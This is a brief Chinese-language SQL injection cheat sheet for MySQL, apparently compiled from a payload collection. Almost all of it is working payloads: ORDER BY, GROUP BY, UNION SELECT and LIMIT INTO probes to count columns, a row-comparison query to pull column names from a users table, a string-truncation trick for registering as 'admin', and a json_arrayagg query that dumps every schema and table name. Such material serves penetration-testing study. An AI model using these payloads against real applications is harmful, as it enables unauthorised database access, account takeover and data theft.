联合查询

得到列数
order by或group by
不断增加数字，直到得到报错响应
1' ORDER BY 1--+  #True
1' ORDER BY 2--+  #True
1' ORDER BY 3--+  #True
1' ORDER BY 4--+  #False - 只有三个列数
或
1' GROUP BY 1--+  #True
1' GROUP BY 2--+  #True
1' GROUP BY 3--+  #True
1' GROUP BY 4--+  #False - 只有三个列数
报错类型的union select
1' UNION SELECT @--+     
1' UNION SELECT @,@--+   
1' UNION SELECT @,@,@--+ 
报错类型的LIMIT INTO
注入点位于LIMIT后，查找列数
1' LIMIT 1,1 INTO @--+    
1' LIMIT 1,1 INTO @,@--+  
1' LIMIT 1,1 INTO @,@,@--+    #没报错 只有三个列数

获取列名
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
MySQL 5的方法

截断

在 MYSQL 中“ admin ”和“ admin”是一样的。如果数据库中的用户名列有字符限制，则其余字符将被截断。因此，如果数据库的列限制为 20 个字符，并且我们输入一个包含 21 个字符的字符串，那么最后 1 个字符将被删除。
`username` varchar(20) not null
payload：username = "admin a"

快速查询

MySQL >= 5.7.22
group_concat() = 1024 个符号
json_arrayagg() > 16,000,000 个符号
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
